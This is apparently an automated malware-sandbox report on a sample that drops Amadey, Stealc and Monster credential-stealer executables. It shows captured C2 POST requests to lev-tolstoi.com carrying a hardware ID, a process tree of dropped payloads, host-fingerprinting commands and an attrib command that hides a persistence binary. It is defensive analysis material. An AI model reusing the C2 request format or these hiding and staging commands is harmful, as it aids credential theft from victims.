2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 11 27 cb 3f 3c fa a1 27 4b 22 44 db a6 22 74 f6 2e 51 5b cc 95 e3 7c ca 57 ec c4 38 a7 5c 88 b3 e6 f4 c3 ff 27 03 11 fe 48 69 a9 12 02 c6 8e fe aa 9c 3f 6e d2 1d 14 41 b2 b6 74 b5 22 44 cd ff a8 80 3c 8d 06 39 6f 48 fa 57 5e c4 44 7f 52 59 0b 78 50 1a 71 87 6c 85 b4 1d bc ad df d6 7a 04 45 a8 6e 97 b9 e5 f2 26 0f 84 15 3d a0 e5 a3 50 7a 37 0c 1b 58 13 d8 53 20 d4 5f 08 28 2f 83 82 70 cc ff 5e 81 43 6a 43 fc 3a d6 0f 01 23 b7 9b 19 aa 03 fd a0 8c 5b b8 ce 64 e7 91 43 18 52 3f c3 d8 ee 2d 1d 82 d5 10 b8 2e cd b6 11 33 b2 ca ee 65 bf 09 e7 e3 32 12 75 1f 78 5e b6 96 5c 3e 1b 81 5a 78 5b 28 37 86 18 56 d1 4f a5 b5 ed e3 bd 54 6e 3b a2 4e 4d 44 7c d2 a1 7c 6c 85 ee 56 30 4e 0f 48 78 b3 1f 65 2c 7b a9 53 5f ac 77 6a 9b 5e 70 84 10 cf 7e c6 e4 91 cd 3b 37 4b 55 Data Ascii: '?<'K"D"t.Q[\|W8\'Hi?nAt"D<9oHW^DRYxPqlzEn&=Pz7XS _(/p^CjC:#[dCR?-.3e2ux^\>Zx[(7VOTn;NMD\|\|lV0NHxe,{S_wj^p~;7KU
2024-12-18 11:01:48 UTC	15331	OUT	Data Raw: 3e ab 5d 3e b6 14 e8 77 c8 cc 42 01 24 4e 21 e9 27 31 86 3c c6 75 ad ef d6 65 7d ca c5 53 03 86 08 ff cb 05 f4 a2 fd 9f 7f 74 0b 80 17 2e 34 41 ce 45 91 b9 9f 3b 52 a9 d1 54 41 70 1c c6 fd 3b 31 9d d2 5a 5f 7b 5f 8c c0 2b e8 fe dc fd 89 db 57 8d 8d b8 27 28 2c cb 29 4e c3 bd 66 3a 62 43 5f 9e d6 71 d7 c7 8a 24 f7 fa 99 09 11 02 d3 2f c4 a3 01 be db 7f be ef c1 f9 62 28 f4 df cd f3 23 09 d3 a8 18 41 a0 7f c4 0e 63 c8 bc 63 5d 05 40 69 83 02 13 9f 78 97 ce 4f 4a 27 d5 4e 70 f4 fe dd 82 48 4f 20 e0 11 cc 28 59 7c 28 e5 b9 5e 22 01 5f 68 61 bc 41 e0 83 f1 dd 1a 74 9e 3b ab 30 28 4f 79 9f b0 26 22 3f 95 d9 e5 b1 da f8 45 e7 b9 1e 74 4a 10 a1 24 22 a4 01 0a 6c d9 c9 7a 9c b7 6b 0d 52 b1 18 66 29 68 fd 1c 36 c9 ce bf 89 ee 5e ad d9 69 cc ed e4 c1 52 1d 92 a2 4a Data Ascii: >]>wB$N!'1<ue}St.4AE;RTAp;1Z_{_+W'(,)Nf:bC_q$/b(#Acc]@ixOJ'NpHO (Y\|(^"_haAt;0(Oy&"?EtJ$"lzkRf)h6^iRJ
2024-12-18 11:01:51 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8hqmd2kp0i2tteqat0i3jom57t; expires=Sun, 13-Apr-2025 04:48:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0epJATLq8r3a4egdewgIkE5OaBkmYRaIeNzCFWWCZ%2FX44gs2O93S%2Fom99wJWPRNABF0%2FRtrrkw6TvZ0FNCWCm5h%2Fy3drYlU1kDnn2YLEqtSIANT8rVq9DGkvOhZm47MVNhk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea834bd3b438b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1794&rtt_var=674&sent=358&recv=613&lost=0&retrans=0&sent_bytes=2835&recv_bytes=590631&delivery_rate=1622222&cwnd=169&unsent_bytes=0&cid=0a30d59673c61e7b&ts=2400&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50099	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:52 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: lev-tolstoi.com
2024-12-18 11:01:52 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 37 54 6c 36 4d 6b 2d 2d 6c 65 67 65 6e 67 26 6a 3d 26 68 77 69 64 3d 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 Data Ascii: act=get_message&ver=4.0&lid=7Tl6Mk--legeng&j=&hwid=4BA8B9F431499A5C58D6DA241434FD08
2024-12-18 11:01:54 UTC	1045	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1c84a04oodv1g10fgc5h9s3b74; expires=Sun, 13-Apr-2025 04:48:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cM%2F5XmgBUJwwDXvs4MsSY%2BimPis%2F3Lafh%2F8Qy1MVmS8RB5VzWJCUR64WAe%2BP9Co27kNef66az%2FeM%2FZNAeCsBSBIBNBmqPAALoWgRwQYI9VA06y2GZUp1qoWaKaSn%2Fuv01bI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea84d7b3c4372-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&min_rtt=1829&rtt_var=689&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=982&delivery_rate=1583514&cwnd=242&unsent_bytes=0&cid=d5ff7862619b4319&ts=1995&x=0"
2024-12-18 11:01:54 UTC	54	IN	Data Raw: 33 30 0d 0a 79 4f 50 44 39 4b 70 77 65 70 36 53 75 49 43 33 31 2b 46 2f 78 6a 64 7a 31 4e 43 69 4e 4d 75 39 63 76 2b 69 39 73 62 6d 58 51 36 54 76 67 3d 3d 0d 0a Data Ascii: 30yOPD9Kpwep6SuIC31+F/xjdz1NCiNMu9cv+i9sbmXQ6Tvg==
2024-12-18 11:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	05:58:51
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\random.exe.6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\random.exe.6.exe"
Imagebase:	0xaa0000
File size:	2'964'992 bytes
MD5 hash:	B6009D2BAED73BC321B38CE9A13F875C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.2239646919.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:58:55
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x690000
File size:	2'964'992 bytes
MD5 hash:	B6009D2BAED73BC321B38CE9A13F875C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2278712224.0000000004760000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:58:56
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x690000
File size:	2'964'992 bytes
MD5 hash:	B6009D2BAED73BC321B38CE9A13F875C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2279278004.0000000005090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:00:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x690000
File size:	2'964'992 bytes
MD5 hash:	B6009D2BAED73BC321B38CE9A13F875C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.4690859834.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2913732134.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	06:00:06
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"
Imagebase:	0x630000
File size:	314'368 bytes
MD5 hash:	68A99CF42959DC6406AF26E91D39F523
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000000.2955827551.000000000064E000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000000.2955786116.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:00:10
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Imagebase:	0x80000
File size:	776'832 bytes
MD5 hash:	75CF470500D65CE4411790E09E650806
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:00:10
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:00:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"
Imagebase:	0x80000
File size:	776'832 bytes
MD5 hash:	75CF470500D65CE4411790E09E650806
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:00:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe"
Imagebase:	0x790000
File size:	439'296 bytes
MD5 hash:	C07E06E76DE584BCDDD59073A4161DBB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:00:16
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"
Imagebase:	0xcc0000
File size:	439'296 bytes
MD5 hash:	C07E06E76DE584BCDDD59073A4161DBB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:00:16
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
Imagebase:	0xcc0000
File size:	439'296 bytes
MD5 hash:	C07E06E76DE584BCDDD59073A4161DBB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:00:19
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1004899001\am209.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"
Imagebase:	0x890000
File size:	439'808 bytes
MD5 hash:	CE27255F0EF33CE6304E54D171E6547C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:00:20
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"
Imagebase:	0xde0000
File size:	439'808 bytes
MD5 hash:	CE27255F0EF33CE6304E54D171E6547C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, Author: Joe Security
Antivirus matches:	Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:00:20
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Imagebase:	0xde0000
File size:	439'808 bytes
MD5 hash:	CE27255F0EF33CE6304E54D171E6547C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	06:00:27
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe"
Imagebase:	0x400000
File size:	3'794'944 bytes
MD5 hash:	378706614B22957208E09FC84FCEECE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3888248745.0000000001002000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3888705845.0000000001002000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000003.3891018668.0000000001002000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	06:00:50
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe"
Imagebase:	0x7ff6a2fa0000
File size:	11'169'792 bytes
MD5 hash:	6898EACE70E2DA82F257BC78CB081B2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	06:00:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	06:00:54
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
Imagebase:	0x7ff68b750000
File size:	16'927'232 bytes
MD5 hash:	D09A400F60C7A298E884F90539E9C72F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	06:00:54
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Imagebase:	0xc0000
File size:	776'832 bytes
MD5 hash:	2D6F91549D53930821EA4CF0FBD54B29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:00:54
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:01:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Imagebase:	0xc0000
File size:	776'832 bytes
MD5 hash:	2D6F91549D53930821EA4CF0FBD54B29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:01:01
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff7c8fc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:01:02
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
Imagebase:	0xcc0000
File size:	439'296 bytes
MD5 hash:	C07E06E76DE584BCDDD59073A4161DBB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	06:01:02
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7ae470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:01:02
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff7ae470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:01:02
Start date:	18/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff6af3a0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:01:03
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff771400000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:01:05
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Imagebase:	0x7ff7ae470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.2%
Total number of Nodes:	513
Total number of Limit Nodes:	10

Executed Functions

Function 00AA5B93 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1586
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,F4961E7F,F4961E7F), ref: 00AA5CDC
RegQueryValueExA.KERNEL32(F4961E7F,?,00000000,00000000,?,00000400,?,?,00000000,00000001,F4961E7F,F4961E7F), ref: 00AA5D0A
RegCloseKey.KERNEL32(F4961E7F,?,?,00000000,00000001,F4961E7F,F4961E7F), ref: 00AA5D16

Strings

00000419, xrefs: 00AA5FA8
0000043f, xrefs: 00AA603B
VUUU, xrefs: 00AA6F11
00000422, xrefs: 00AA5FD9
00000423, xrefs: 00AA600A
invalid stoi argument, xrefs: 00AA7060
Keyboard Layout\Preload, xrefs: 00AA5F64
stoi argument out of range, xrefs: 00AA7051

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
